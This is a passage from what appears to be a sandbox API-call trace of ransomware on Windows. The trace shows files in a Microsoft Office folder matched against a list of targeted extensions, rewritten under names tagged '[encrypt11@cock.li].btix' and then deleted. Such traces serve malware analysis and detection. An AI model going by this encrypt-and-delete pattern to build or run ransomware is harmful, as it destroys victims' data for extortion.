office\\root\\flattener\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0140.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0140.201] lstrlenW (lpString=".doc") returned 4 [0140.201] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.201] lstrlenW (lpString=".docx") returned 5 [0140.201] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.201] lstrlenW (lpString=".pdf") returned 4 [0140.201] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.201] lstrlenW (lpString=".xls") returned 4 [0140.201] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.201] lstrlenW (lpString=".xlsx") returned 5 [0140.201] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0140.201] lstrlenW (lpString=".ppt") returned 4 [0140.201] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0140.201] lstrlenW (lpString=".zip") returned 4 [0140.201] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.202] lstrlenW (lpString=".rar") returned 4 [0140.202] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.202] lstrlenW (lpString=".bz2") returned 4 [0140.202] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.202] lstrlenW (lpString=".7z") returned 3 [0140.202] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0140.202] lstrlenW (lpString=".dbf") returned 4 [0140.202] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0140.202] lstrlenW (lpString=".1cd") returned 4 [0140.202] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-core-timezone-l1-1-0.dll") returned 84 [0140.202] lstrlenW (lpString=".jpg") returned 4 [0140.202] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.218] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0 [0140.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0140.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0140.218] lstrlenW (lpString=".doc") returned 4 [0140.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.218] lstrlenW (lpString=".docx") returned 5 [0140.218] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0140.218] lstrlenW (lpString=".pdf") returned 4 [0140.218] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.218] lstrlenW (lpString=".xls") returned 4 [0140.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.218] lstrlenW (lpString=".xlsx") returned 5 [0140.218] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0140.218] lstrlenW (lpString=".ppt") returned 4 [0140.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0140.218] lstrlenW (lpString=".zip") returned 4 [0140.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.218] lstrlenW (lpString=".rar") returned 4 [0140.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.219] lstrlenW (lpString=".bz2") returned 4 [0140.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.219] lstrlenW (lpString=".7z") returned 3 [0140.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0140.219] lstrlenW (lpString=".dbf") returned 4 [0140.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0140.219] lstrlenW (lpString=".1cd") returned 4 [0140.219] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll") returned 68 [0140.219] lstrlenW (lpString=".jpg") returned 4 [0140.219] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.220] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.220] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0140.222] GetLastError () returned 0x0 [0140.222] ReadFile (in: hFile=0x540, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x221, lpOverlapped=0x0) returned 1 [0140.223] WriteFile (in: hFile=0x534, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x230, lpOverlapped=0x0) returned 1 [0140.522] ReadFile (in: hFile=0x540, lpBuffer=0x45c2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0140.522] WriteFile (in: hFile=0x534, lpBuffer=0x45c2020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x45c2020*, lpNumberOfBytesWritten=0x38cfc94*=0x10c, lpOverlapped=0x0) returned 1 [0140.522] SetEndOfFile (hFile=0x534) returned 1 [0140.522] CloseHandle (hObject=0x534) returned 1 [0140.522] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0140.522] SetEndOfFile (hFile=0x540) returned 1 [0140.525] CloseHandle (hObject=0x540) returned 1 [0140.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0140.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.526] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.526] lstrlenW (lpString=".doc") returned 4 [0140.526] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0140.526] lstrlenW (lpString=".docx") returned 5 [0140.526] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0140.526] lstrlenW (lpString=".pdf") returned 4 [0140.526] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0140.526] lstrlenW (lpString=".xls") returned 4 [0140.526] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString=".xlsx") returned 5 [0140.527] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0140.527] lstrlenW (lpString=".ppt") returned 4 [0140.527] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.527] lstrlenW (lpString=".zip") returned 4 [0140.527] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString=".rar") returned 4 [0140.527] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString=".bz2") returned 4 [0140.527] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString=".7z") returned 3 [0140.527] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0140.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.527] lstrlenW (lpString=".dbf") returned 4 [0140.527] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.527] lstrlenW (lpString=".1cd") returned 4 [0140.527] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.527] lstrlenW (lpString=".jpg") returned 4 [0140.527] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.527] lstrlenW (lpString=".doc") returned 4 [0140.527] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString=".docx") returned 5 [0140.527] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0140.527] lstrlenW (lpString=".pdf") returned 4 [0140.527] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0140.527] lstrlenW (lpString=".xls") returned 4 [0140.528] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0140.528] lstrlenW (lpString=".xlsx") returned 5 [0140.528] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0140.528] lstrlenW (lpString=".ppt") returned 4 [0140.528] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0140.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.528] lstrlenW (lpString=".zip") returned 4 [0140.528] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0140.528] lstrlenW (lpString=".rar") returned 4 [0140.528] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0140.528] lstrlenW (lpString=".bz2") returned 4 [0140.528] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0140.528] lstrlenW (lpString=".7z") returned 3 [0140.528] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0140.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.528] lstrlenW (lpString=".dbf") returned 4 [0140.528] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0140.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.528] lstrlenW (lpString=".1cd") returned 4 [0140.528] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0140.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0140.528] lstrlenW (lpString=".jpg") returned 4 [0140.528] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0140.528] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.528] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Common.dll") returned 37 [0140.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.530] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=31328) returned 1 [0140.530] CloseHandle (hObject=0x540) returned 1 [0140.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll")) returned 0x220 [0140.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.531] lstrlenW (lpString=".doc") returned 4 [0140.531] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.531] lstrlenW (lpString=".docx") returned 5 [0140.531] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0140.531] lstrlenW (lpString=".pdf") returned 4 [0140.531] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.531] lstrlenW (lpString=".xls") returned 4 [0140.531] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.531] lstrlenW (lpString=".xlsx") returned 5 [0140.531] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0140.531] lstrlenW (lpString=".ppt") returned 4 [0140.531] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.531] lstrlenW (lpString=".zip") returned 4 [0140.531] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.531] lstrlenW (lpString=".rar") returned 4 [0140.531] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.531] lstrlenW (lpString=".bz2") returned 4 [0140.531] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.531] lstrlenW (lpString=".7z") returned 3 [0140.531] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.531] lstrlenW (lpString=".dbf") returned 4 [0140.531] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.531] lstrlenW (lpString=".1cd") returned 4 [0140.531] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.532] lstrlenW (lpString=".jpg") returned 4 [0140.532] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.532] lstrlenW (lpString=".doc") returned 4 [0140.532] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.532] lstrlenW (lpString=".docx") returned 5 [0140.532] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0140.532] lstrlenW (lpString=".pdf") returned 4 [0140.532] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.532] lstrlenW (lpString=".xls") returned 4 [0140.532] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.532] lstrlenW (lpString=".xlsx") returned 5 [0140.532] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0140.532] lstrlenW (lpString=".ppt") returned 4 [0140.532] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.532] lstrlenW (lpString=".zip") returned 4 [0140.532] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.532] lstrlenW (lpString=".rar") returned 4 [0140.532] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.532] lstrlenW (lpString=".bz2") returned 4 [0140.532] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.532] lstrlenW (lpString=".7z") returned 3 [0140.532] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.532] lstrlenW (lpString=".dbf") returned 4 [0140.533] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.533] lstrlenW (lpString=".1cd") returned 4 [0140.533] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Common.dll") returned 86 [0140.533] lstrlenW (lpString=".jpg") returned 4 [0140.533] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.533] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.533] lstrlenW (lpString="Microsoft.Tools.Office.C2R.Packager.dll") returned 39 [0140.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.533] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=132800) returned 1 [0140.533] CloseHandle (hObject=0x540) returned 1 [0140.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll")) returned 0x220 [0140.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.office.c2r.packager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.534] lstrlenW (lpString=".doc") returned 4 [0140.534] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.534] lstrlenW (lpString=".docx") returned 5 [0140.534] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0140.534] lstrlenW (lpString=".pdf") returned 4 [0140.534] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.534] lstrlenW (lpString=".xls") returned 4 [0140.534] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.534] lstrlenW (lpString=".xlsx") returned 5 [0140.534] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0140.534] lstrlenW (lpString=".ppt") returned 4 [0140.534] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.534] lstrlenW (lpString=".zip") returned 4 [0140.534] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.534] lstrlenW (lpString=".rar") returned 4 [0140.534] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.535] lstrlenW (lpString=".bz2") returned 4 [0140.535] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.535] lstrlenW (lpString=".7z") returned 3 [0140.535] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.535] lstrlenW (lpString=".dbf") returned 4 [0140.535] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.535] lstrlenW (lpString=".1cd") returned 4 [0140.535] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.535] lstrlenW (lpString=".jpg") returned 4 [0140.535] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.535] lstrlenW (lpString=".doc") returned 4 [0140.535] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.535] lstrlenW (lpString=".docx") returned 5 [0140.535] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0140.535] lstrlenW (lpString=".pdf") returned 4 [0140.535] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.535] lstrlenW (lpString=".xls") returned 4 [0140.535] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.535] lstrlenW (lpString=".xlsx") returned 5 [0140.535] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0140.535] lstrlenW (lpString=".ppt") returned 4 [0140.535] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0140.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.535] lstrlenW (lpString=".zip") returned 4 [0140.535] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0140.535] lstrlenW (lpString=".rar") returned 4 [0140.536] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0140.536] lstrlenW (lpString=".bz2") returned 4 [0140.536] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.536] lstrlenW (lpString=".7z") returned 3 [0140.536] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.536] lstrlenW (lpString=".dbf") returned 4 [0140.536] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.536] lstrlenW (lpString=".1cd") returned 4 [0140.536] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.Office.C2R.Packager.dll") returned 88 [0140.536] lstrlenW (lpString=".jpg") returned 4 [0140.536] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.536] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0140.536] lstrlenW (lpString="msvcp120.dll") returned 12 [0140.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0140.536] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=455344) returned 1 [0140.536] CloseHandle (hObject=0x540) returned 1 [0140.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll")) returned 0x220 [0140.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0140.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\msvcp120.dll") returned 61 [0140.537] lstrlenW (lpString=".doc") returned 4 [0140.537] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.537] lstrlenW (lpString=".docx") returned 5 [0140.537] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0140.537] lstrlenW (lpString=".pdf") returned 4 [0140.537] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0140.537] lstrlenW (lpString=".xls") returned 4 [0140.537] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0140.537] lstrlenW (lpString=".xlsx") returned 5 [0140.537] lstrcmpiW 